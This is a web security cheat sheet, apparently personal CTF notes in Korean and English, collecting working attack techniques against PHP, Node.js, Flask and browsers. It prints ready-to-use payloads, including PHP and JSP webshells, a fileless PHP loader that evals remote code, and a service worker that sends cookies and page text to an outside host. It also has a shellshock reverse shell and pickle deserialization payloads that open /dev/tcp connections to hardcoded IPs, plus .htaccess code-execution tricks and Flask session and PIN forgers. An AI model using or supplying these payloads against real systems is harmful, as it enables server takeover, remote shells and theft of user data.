Web Security CheatSheet
This document is continuously updated.
cross site scripting
http://portswigger.net/web-security/cross-site-scripting/cheat-sheet
basic filter bypass
samesite cookie bypass
client side template injection
- angularjs
- nodejs : ejs, pug nunjucks .. etc
jsonp injection
- bom injection
dom clobbering
uxss
open redirection
- oauth
- csrf gadget
service worker
1
2
3
4
5
6
7
8
9
10
11
12
13
14<!-- page.html -->
<html>
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/ex.js', { scope: '/' })
.then(function (registration) {
console.log('Registration successful, scope is:', registration.scope);
})
.catch(function (error) {
console.log('Service worker registration failed, error:', error);
});
}
</script>
</html>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// ex.js
self.addEventListener('fetch', function (event) {
console.log('Fetching:', event.request.url);
event.respondWith(
fetch(event.request.url)
.then(function (response) {
return response.text();
})
.then(function (text) {
fetch('//rwx.kr/?data=' + encodeURI(event.request.url));
fetch('//rwx.kr/?data=' + encodeURI(text));
fetch('//rwx.kr/?data=' + encodeURI(document.cookie));
return new Response(text, { headers: { 'Content-Type': 'text/html' } });
})
);
});chrome gold feature
PNaCL
- 이제 안통함 (아마 76버전까지?)
- https://github.com/posixlee/PNaCl_Leaker
Chromium-Intercept
- deface 에 쓰일 수 있음
- 응답 헤더가
text/cache-manifest
이어야 한다는 제한 사항이 있음 - 최신 버전에서 패치됨
1
2
3
4
5
6CHROMIUM CACHE MANIFEST
CACHE:
NETWORK:
FALLBACK:
CHROMIUM-INTERCEPT:
/ return /uploaded.html
library
- jquery
$.getJSON
- jquery
crlf injection
- urldecode
- urldecode while http -> https redirect (misconfigure)
- http/2 mitigation
- 연구 필요
csp bypass
- jsonp endpoints
- unsafe-eval
- client side template injection
- response status code change e.g. 201
- https://csp-evaluator.withgoogle.com/
- https://www.hackinbo.it/slides/1494231338_Spagnuolo_Hack%20In%20Bo%20-%20So%20we%20broke%20all%20CSPs...%20You%20won%27t%20guess%20what%20happened%20next%21.pdf
autofocus with contenteditable
1
<p type=contenteditable autofocus onfocus=alert(1)>
browser dependent
Chrome, Opera, Safari and Edge
1
2
3<div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
<div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">Firefox
1
2<div onbeforescriptexecute="alert(1)"></div>
<script>1</script>MSIE10/11 & Edge
1
<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">
MSIE10
1
<div contenteditable onresize="alert(1)"></div>
MSIE11
1
2
3
4
5<div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
<div onfocus="alert(1)" id="xss" style="display:table">
<div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
<div id="xss" style="float:left" onfocus="alert(1)">Chrome, Opera, Safari
1
2<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>Chrome, Opera, Safari
1
2
3
4
5<style>
div {width: 100px;}
div:target {width: 200px;}
</style>
<div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>Safari
1
<div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>
client side request forgery
- xhr 또는 fetch 를 사용하여, 다른 페이지 데이터 가져올 수 있음
- a tag ping attribute
- 30? : redirect with post data preserve
- 연구 필요
- XS-Leaks
- [설명추가예정 : 방법 다양함]
PHP
webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69system($_GET["cmd"]);
system($_GET[1]);
system("`$_GET[1]`");
system($_GET[cmd]);
$_GET[1]`; `
eval($_POST[cmd]);
echo `$_GET[1]`;
echo passthru($_GET['cmd']);
echo shell_exec($_GET['cmd']);
eval(str_rot13('riny($_CBFG[cntr]);'));
<script language="php">system("id"); </script>
$_GET['a']($_GET['b']);
// a=system&b=ls
// a=assert&b=system("ls")
array_map("ass\x65rt",(array)$_REQUEST['cmd']);
// .php?cmd=system("ls")
extract($_REQUEST);@die($f($c)); @
// .php?f=system&c=id
include($_FILES['u']['tmp_name']); @
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
$x=~¾¬¬º«;$x($_GET['a']);
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^ eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
// 無回顯後門
// e.g. ?pass=file_get_contents('http://15.165.0.114/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$Bdisable function history
1
2
3
4
5
6
7
8
9
10
11
12// isitdtu
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pczntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,
// 2015 orange
exec, passthru, shell_exec, system, proc_open, popen, curl_exec,
curl_multi_exec, parse_ini_file, symlink, chgrp, chmod, chown, dl, mail,
imap_mail, apache_child_terminate, posix_kill, proc_terminate,
proc_get_status, syslog, openlog, ini_alter, ini_set, ini_restore,
putenv, apache_setenv, pcntl_alarm, pcntl_fork, pcntl_waitpid,
pcntl_wait, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal,
pcntl_signal_dispatch, pcntl_sigtimedwait, pcntl_sigprocmask,
pcntl_sigwaitinfo, pcntl_exec, pcntl_setpriority, link, readlinkxor(^) 연산이나 not(~) 연산, and(&) 연산 이용하여 필터 바이패스
1
2echo (%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f); // system
[~] 과 [^] 예제 추가 예정이중 참조
1
2$a='apple'; $b='a';
echo $$b; //apple배열 첨자
1
2
3$arr = array('a' => 'b');
var_dump($arr['a']); // "b"
var_dump($arr{'a'}); // "b"file_put_contents
lfi with null bytes (php 5.?.? 버전까지)
rfi
- allow_url_include
- allow_url_fopen
- UNC
파일 없는 php webshell
- 연구 방향성 불일치, 연구 불필요하다고 생각됨
1
2
3
4
5
6
7
8
9
unlink(__FILE__);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};wrapper
- php://filter wrapper
- php://filter/read=string.rot13/
- php://filter/convert.iconv.utf-8.utf-16/
- php://filter/convert.base64-encode/
- php://filter/convert.base64-decode/
- php://filter/zlib.deflate/
- php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=
- convert.base64-encode 이용하여 충분히 길게 만들면 메모리 과할당으로 crash 유발할 수 있음
- zip://
- data://
- expect://
- 아주 특수한 경우에만 발생
- php://input
- phar://
- php://filter wrapper
special files
/proc/self/environ
- 최신 버전에서는 읽지 못하게 권한 관리
/proc/self/fd
sessions file
session.upload_progress
1
2
3
4
5
6
7
8
9
10
11
12
13import requests
import base64
import sys
payload = b'a'*2 + base64.b64encode(b'<?=eval($_GET[cmd])?>')
payload2 = '<?=`ls -al /`?>'
while True:
requests.post(sys.argv[1],
cookies = { 'PHPSESSID': 'posix' },
data = { 'PHP_SESSION_UPLOAD_PROGRESS': payload },
files = { payload2: 'A'*1000 }
)/var/lib/php5/sessions/sess_posix
/var/lib/php/sessions/sess_posix
/tmp/sess_posix
file upload tmp file
- /tmp/phpoSWPOI
- /tmp/php[A-Za-z0-9]{5}
nginx
escapeshellarg + escapeshellcmd
1
2
3
4
5
6
7
8
9
$a = $_GET['a'];
$a = escapeshellarg($a);
$a = escapeshellcmd($a);
$cmd = 'ls ' . $a . ' 2>&1';
echo 'cmd: ' . $cmd . "\n";
echo 'out:' . exec($cmd);1
2
3// https://php.rwx.kr/?a=%27%201%20/tm%203%27
cmd: ls ''\\'' 1 /tm 3'\\''' 2>&1
out:ls: cannot access '3\\': No such file or directorymultibyte webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin
# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\\n\\n#define width 1337\\n#define height 1337\\n\\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('..htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\\n')
htaccess.write(b'php_value zend.multibyte 1\\n')
htaccess.write(b'php_value zend.detect_unicode 1\\n')
htaccess.write(b'php_value display_errors 1\\n')
htaccess.close()
generate_htacess()
generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>")
generate_php_file("scandir.php16", "<?php echo implode('\\n', scandir($_GET['dir'])); die(); ?>")
generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>")
generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")disable function bypass
Imagick
command injhtection (old version)
PATH + ghostscript
1
2
3
4
5
6
7
8
int main() {
unsetenv("PATH");
const char* cmd = getenv("CMD");
system(cmd);
return 0;
}1
2
3
4putenv('PATH=/tmp/mydir');
putenv('CMD=/readflag > /tmp/mydir/output');
chmod('/tmp/mydir/gs','0777');
$img = new Imagick('/tmp/mydir/1.ept');LD_PRELOAD + ghostscript
- https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#solution-2:-bypass-disable_function-with-ld_preload
- eps 이외 다른 파일포멧도 되는거 여러가지 있음, Imagick 설정에 의존적
ffmpeg
MAGICK_CODER_MODULE_PATH
MAGICK_CONFIGURE_PATH
using
FFI
Extension
LD_PRELOAD + mail()
imap_open()
1
2
3
4
5<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');dl()
1
dl("evil.so")
error_log()
- 추가예정
shellshock
1
2
3() { :; }; echo vulnerable
() { :a; }; /bin/cat /etc/passwd
() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'JSON UAF Bypass
GC Bypass
Backtrace UAF Bypass
[추가 예정]
open_basedir bypass
glob wrapper
1
2
3
4
5
6
7
8
9$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}ini_set
1
2
3
4
5
6chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));symlink
1
2
3
4
5
6
7mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');fastcgi
docker에서 lfi 가젯
- 루트권한에서만 동작
- 연구 필요
1
2/usr/src/php/sapi/tests/test007.phpt
// phpinfo(), print_r($_POST)preg_match bypass with newline
abusing rand
hash_hmac
1
2
3$hmac = hash_hmac('sha256', Array(), "SecretKey");
echo $hmac == false;
// trueextract
- [추가예정]
parse_str
- [추가예정]
parse_url
- [추가예정]
preg_replace
- [추가예정]
sprintf / vprintf
- [추가예정]
temp files
- 업로드되는 임시 첨부 파일, 세션 파일, wrapper 를 통한 필터 처리 중에 있는 임시 파일의 경우 본 저장경로와 /tmp 폴더에 쓰기 권한이 없으면, 현재 디렉터리에 임시 파일을 작성합니다.
- segment fault 를 유발하여 core 파일을 작성 생성하고 lfi 를 유발하는 문제도 있음
phpinfo 에서 주목해야할 점
- 커스텀 모듈 존재 유무
- disable function 에 사용할 수 있는 모듈 존재 유무
- php 버전 -> 원데이 -> php bugs 참고하여 검색
- auto_append_file / auto_prepend_file
- allow_url_fopen / allow_url_include
- fastcgi 사용여부 -> ssrf
- open_basedir
- disable_classes
- disable_functions
- user_ini.filename -> 파일 업로드 취약점
- curl 모듈 -> support protocols -> gopher ssrf
- libxml -> xxe
- mbstring -> unicode normalize
- session.upload_progress.name (PHP_SESSION_UPLOAD_PROGRESS)
- session.save_path (/var/lib/php/sessions/)
- session.serialize_handler (php)
php type confusion
loose comparison
1
2
3
4
5
6
7
8'0xABCdef' == ' 0xABCdef' // true
'0010e2' == '1e3' // true
'123' == 123 // true
'abc' == 0 // true
'123a' == 123 // true
'0x01' == 1 // true, php7.0 부터는 false
'' == 0 == false == NULL // all the same
1.0000000000000001 == 1 // truestrcmp
array
1
strcmp([],[])
sha1 / md5 / hash
array
1
2
3sha1([]) // NULL
md5([1,2,3]) // NULL
hash('md5',['1']) // NULL
in_array
1
2
3
4
5
6
7
8
9
10in_array('5 or 1=1', array(1, 2, 3, 4, 5)); // true
in_array('kaibro', array(0, 1, 2)); // true
in_array(array(), array('kai'=>false)); // true
in_array(array(), array('kai'=>null)); // true
in_array(array(), array('kai'=>0)); // false
in_array(array(), array('kai'=>'bro')); // false
in_array('kai', array('kai'=>true)); // true
in_array('kai', array('kai'=>'bro')); // false
in_array('kai', array('kai'=>0)); // true
in_array('kai', array('kai'=>1)); // falseintval
[이름 추가 예정]
- 삭제 검토
1
2intval(012) // 10
intval('012') // 12overflow
1
2intval('1000000000000') // 2147483647
intval('100000000000000000000') // 9223372036854775807
magic hash
1
2md5(240610708) // 0e462097431906509019562988736854
sha1(10932435112) // 0e07766915004133176347055865026311692244array_search
1
2$arr=array(1,2,0); var_dump(array_search('kai', $arr)); // int(2)
$arr=array(1,2,0); var_dump(array_search('1', $arr)); // int(0)file_put_contents
1
2
3
4
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);chr
1
2chr(259) === chr(3); // true
chr(-87) === chr(169); // true후위 연산자
1
2$a="9D9"; var_dump(++$a); // 9E0
$a="9E0"; var_dump(++$a); // 10ereg / eregi (php 7.0.0 에서 삭제되었음)
1
ereg("^[0-9]+$", "1234\x00Injected!") // true
raw hash
1
2
3
4php > var_dump(md5('ffifdyop', true));
string(16) "'or'6r,"
php > var_dump(md5('129581926211651571912466741651878684928', true));
string(16) "0Do#'or'8"OPcache
XDebug RCE
- open debug port
- https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
PCRE
system
1
2
3
4php > echo system('echo $_');
/usr/bin/php
php > echo system('echo $0');
shregex bug
1
echo preg_match('/(a+)+$/', 'v'.str_repeat('a',100000).'v'.str_repeat('a',100000));
base_convert
1
2
3
4php > echo base_convert('system',36,10);
1751504350
php > echo base_convert(1751504350,10,36);
systemphar
- gzip compression 허용됨 (filter bypass)
앞에 임의 문자 넣어서 mime type check bypass 가능
1
2
3
4
5
6
7
8
9
10
class ClassName { }
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new ClassName();
$o -> source='f1ag.php';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
JSP
one line webshell
1
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
read output
- import 해줘야함
1
2
3
4
5
6
7
8<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
%>
http
x-forwarded-for
- 추가예정
X-Accel-Redirect
- 추가예정
x-real-ip
- nginx
- 추가예정
referer
- history.replaceState
- 추가예정
cookie
- 추가예정
session
- 추가예정
HPP (HTTP Parameter Pollution)
- 추가예정
Cache Poisoning
- 추가예정
Request Smuggling
- desync attack
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- burpsuite 확장 프로그램 또는 깃헙 스크립트 이용하여 스캔
- 깃헙 스크립트 성능 별로이므로, burpsuite extension 사용권장
Edge Side Includes
- 로드 밸런서에 의해 해석됨
- nodejs 기능 구현 모듈 존재하나, 실제 장비보다는 기능이 적고 구현이 대충 되어있는 편
- 연구 위해서는 실장비 필수
1
2<esi:include src="/shopping_cart" />
[추가예정 : 태그 한개더있음]SSI (Server SIde Includes)
1
2<!--#exec cmd="ls -al"-->
<!--#include file="../../../../../etc/passwd"-->hop by hop attack
server side template injection
jinja (python)
smarty
1 | {php}phpinfo(){/php} |
twig
ejs (nodejs)
pug (nodejs)
server side request forgery
trigger
- crlf injection
- redirect with location header
- gopher, dict
target
internal service access
smtp
gopherus 권장
1
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
redis
- 직접 만드는 것보다 gopherus 쓰는게 나음
- https://blog.rwx.kr/redis-ssrf/
fastcgi
- [설명추가예정]
fingerprint
- [설명추가예정]
sftp
- [설명추가예정]
elasticsearch
- [설명추가예정]
mysql query (비밀번호가 없는 계정의 경우 평문 통신 가능)
- [설명추가예정]
tomcat deployer
aws
- secret key 취득 가능
- 169.254.169.254/latest
knowledge
- redis는 nullbyte 만나면 종료 (구버전에 취약 여부 불확실), 임의 경로 파일 쓰기 기능 있음
- memcached는 nullbytes 만나도 계속 데이터 받아옴, 임의 경로 파일 쓰기 기능 없음
- mysql:… format (이름 까먹음 / 2019 zeroknight / ssrf / mysqli client attack 결합 가능성 보임)
- 추가바람
information disclosure
jsonp information hijack via cors misconfigure
websocket
credential on jwt payload
directory traversal
- unicode failure
ucs2
NN
- nginx location misconfigure
/static../
- unicode failure
touch docker host
- remote api 를 통해 docker 접근 가능
- 연구 필요
- [설명추가예정]
docker-compose.yml, Dockerfile
- dirsearch.py 권장
.git/HEAD, .svn .. etc
system files
- 추가예정
log files
- 추가예정
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49.Xauthority
.bashrc
.byobu
.config
.fonts
.forever
.fzf
.fzf.bash
.fzf.zsh
.gdbinit
.gem
.gitconfig
.gnupg
.local
.mongorc.js
.mozilla
.npm
.dbshell
.mysql_history
.php_history
.node_repl_history
.sqlite_history
.python_history
.rediscli_history
.psql_history
.bash_history
.sh_history
.coffee_history
.gdb_history
.profile
.ssh
.vim
.vim-update
.zsh_history
.viminfo
.pm2/pm2.log
.lesshst
.tmux
.tmux.conf
.tmux.conf.local
.vscode-server
.vimrc
.zshrc
.zcompdump
.zcompdump-rwx-5.4.2
.selected_editor
.pwntools-cache
.pwntools-cache-3.6
.hushlogin
file upload
web.config
.htaccess
magic byte (mime type check bypass)
1
2
3
4
5
6
7
8
9
10// magic 4byte
JPEG - FF D8 FF DB - ÿØÿÛ
GIF - 47 49 46 38 - GIF8
PNG - 89 50 4E 47 - PNG
// full magic sig
GIF - 47 49 46 38 39 61 - GIF89a (or GIF87a)
PNG - 89 50 4E 47 0D 0A 1A 0A - PNG
Just 3 Bytes "\x00\x00\x89"hash crack
1
./john .htpasswd
- standalone shell
1
2
3
4
5
6
7
8
9<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddHandler php7-script .htaccess
AddType application/x-httpd-php .htaccess
# <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>- using FilesMatch
1
2
3<FilesMatch "kai">
SetHandler application/x-httpd-php
</FilesMatch>- php engine off
1
2
3
4RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
// 이거 하나만 해도 됨
php_flag engine off.user.ini
auto_append_file
fastcgi 를 사용중인 php nginx 서버에서 사용 가능한 방법으로
.user.ini 파일을 업로드하면 하위폴더에서 사용되는 php.ini 설정을 오버라이딩 할 수 있습니다.1
2auto_prepend_file = a.jpg
auto_append_file = b.jpg위 두 설정은 php 파일 실행 이전/이후에 자동 인클루드 되도록 합니다.
확장자와 무관하게 내부 삽입된 스크립트 실행됨.
1
<script language="php">system($_GET[cmd]);</script>
- 본래
<script language="php">
는 옵션이 설정된 상태에서만 php 코드로 해석하나, auto_append_file 등으로 include 될 때에는 옵션과 무관하게 내부 코드 실행됨
direct / remote file inclusion
1
2
3
4php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file <https://sektioneins.de/evil-code.txt>XSS and PHP code execution with UTF-7
1
2
3
4php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADsXSS via error message link
1
2<?php
include('foo');1
2
3php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"XSS via error message link extension
1
2<?php
include('foo');1
2
3
4php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "x"
php_value docref_ext "<script>alert(1);</script>"XSS via phps color
1
2
3
4
5<FilesMatch ".+\\.phps$">
SetHandler application/x-httpd-php-source
Order Allow,Deny
Allow from all
</FilesMatch>1
2
3
4
5<?php
test();
// comment
?>
text1
php_value highlight.comment '"><script>alert(1);</script>'
XSS via highlight_file() color
1
2
3<?php
highlight_file(__FILE__);
// comment1
php_value highlight.comment '"><script>alert(1);</script>'
failed PHP injection via error_log and include_path
1
<?php include('foo');
1
2php_value error_log /var/www/ex4a/foo.php
php_value include_path "<?php phpinfo(); __halt_compiler();"failed PHP injection via error_log and auto_prepend_file
1
2php_value error_log /var/www/ipc/ex4b/foo.php
php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"PHP code injection via error_log and UTF-7
1
2
3
4
5
6php_value error_log /var/www/ipc/ex4c/foo.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
Erlang
list all defined functions
1
2math:module_info().
module_info().
html
relative path override
css injection
- get tag attribute
1
2
3
4
5
6
7
header("Content-Type: text/css; charset=UTF-8");
for ($ascii = 33; $ascii < 126; $ascii++){
echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
}
#flag{ font-family:poc;}- get content charset
1
2
3
4
5
6
7
header("Content-Type: text/css; charset=UTF-8");
for ($ascii = 33; $ascii < 126; $ascii++){
echo "@font-face{ font-family:poc; src: url(http://{my_server}/?".chr($ascii)."); unicode-range:U+00".dechex($ascii).";}"."\n";
}
#flag{ font-family:poc;}
logical vul
- never expired state + random event
- idor
- 설명 불필요
auth bypass
jwt none type injection
flask session generator
1
2
3
4
5
6
7
8
9
10
11import sys
from flask.sessions import SecureCookieSessionInterface
class App(object):
def __init__(self):
self.secret_key = None
app = App()
app.secret_key = sys.argv[1]
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps({'admin':True})
print(session)flagk-unsign
1
2pip3 install flask-unsign
flask-unsign –sign –cookie "{'is_admin': True}" –secret ‘DeRz7YDZ5nCDqR3vt33QpuhkrSYLmuX8' –legacyflask pin calculator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py',
]
private_bits = [
'2485410463771',
'cf0ba4b49af0063252dc6943557b002fe787baab6d9421be9c14813731e6626b'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
javascript
prototype pollution
- EJS rce (https://xz.aliyun.com/t/6113)
1 | const express = require('express'); |
sandbox escape
unicode failure
regex dos
read file from UNC (windows)
- fs
1
2const fs = require('fs');
fs.readFile("\\1.2.3.4\shared\1.js") - express render
1
2
3
4
5
6
7
8
9
10const express = require('express');
const app = express();
// set render engine
app.get('/' (req, res) => {
res.render(req.query.file);
});
app.listen(8080);
- fs
Object.freeze(location)
1
location.replace(1)
JSON.stringify spacer
1
JSON.parse(JSON.stringify({a:1,b:2},'', '"cmd":1,'))
variable _
repr 모드에서 마지막 라인 반환값과 동일
1
2"applemint";
console.log(_); // applemintString.fromCharCode mod
1
String.fromCharCode(65601) === 'A' // true
scope touch
1
2
3
4
5
6
7var scope1 = Function('let abc = 123; scope2();')
function scope2() {
console.log(arguments.callee.caller.arguments);
}
scope1(1,2,3);property searcher
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20function search(obj, history = []) {
if (history.length == 0 && obj[Symbol.toStringTag]) history.push(obj[Symbol.toStringTag]);
let keys = [];
if (obj) keys = Object.getOwnPropertyNames(obj);
for (let key of keys) {
let val = obj[key];
if (val && val[Symbol.iterator] && (val[Symbol.iterator]+[]).indexOf('[native code]') == -1) {
console.log(`[${history.join('.')}.${key}][Symbol.iterator]`);
console.log(val[Symbol.iterator] + []);
}
if (typeof val === 'object' && val !== obj && key !== history[history.length - 2]) {
search(val, history.concat(key));
}
}
}
search(global);- overflow
1
11111111111111111 === 11111111111111112 // true
- infinite loop with overwrite object attribute on array expected
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// http://localhost/?param[length]=1e9
const express = require('express');
const app = express();
app.use((req, res) => {
var data = req.query.param;
var output = 'output : ';
for (let i = 0; i < data.length; ++i) {
output += data[i];
}
res.send(output);
});
app.listen(80);
unserialize
python pickle
pickle (os.system)
1
2
3
4
5
6
7
8
9
10
11
12
13import pickle
import os
import sys
import base64
DEFAULT_COMMAND = "bash -c 'echo 1 > /dev/tcp/45.32.48.238/8888'"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print(base64.b64encode(pickle.dumps(PickleRce())))pickle (eval)
1
2
3
4
5
6
7
8
9
10import pickle
import os
import sys
import base64
class PickleRce(object):
def __reduce__(self):
return (__builtins__.eval,("__builtins__.__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(PickleRce())))cPickle (os.system)
1
2
3
4
5
6
7
8
9
10
11
12
13import cPickle
import os
import sys
import base64
DEFAULT_COMMAND = "bash -c 'echo 1 > /dev/tcp/45.32.48.238/8888'"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print(base64.b64encode(cPickle.dumps(PickleRce())))cPickel (eval)
1
2
3
4
5
6
7
8
9
10import cPickle
import os
import sys
import base64
class PickleRce(object):
def __reduce__(self):
return (__builtins__.eval,("__builtins__.__import__('os').popen('id').read()",))
print(base64.b64encode(cPickle.dumps(PickleRce())))pickle (for test)
1
2
3
4
5
6
7import sys, pickle, base64
if len(sys.argv) < 2:
print('[!] no arguments')
exit()
print('[*] ' + str(pickle.loads(base64.b64decode(sys.argv[1]))))pickle (for test)
1
2
3
4
5
6
7import sys, cPickle, base64
if len(sys.argv) < 2:
print('[!] no arguments')
exit()
print('[*] ' + str(cPickle.loads(base64.b64decode(sys.argv[1]))))
php
PHPGGC
- 원데이 가젯들을 사용하여 페이로드 자동 구성해주는 도구
- https://github.com/ambionics/phpggc
unserlize + replace 문제
제거되는 문자열로 인하여 길이 오프셋이 달라지는 취약점을 사용, 이를 통해 객체 조작이 가능해짐
이 타입 문제의 경우 에러 메시지를 비활성화 해놓는 경우가 많으며,extract
함수 등과 같이 쓰이기도 한다.member methods
- __construct
- 설명추가예정
- __destruct
- 설명추가예정
- __wakeup
- 설명추가예정
- __sleep
- 설명추가예정
- __toString
- 설명추가예정
- __construct
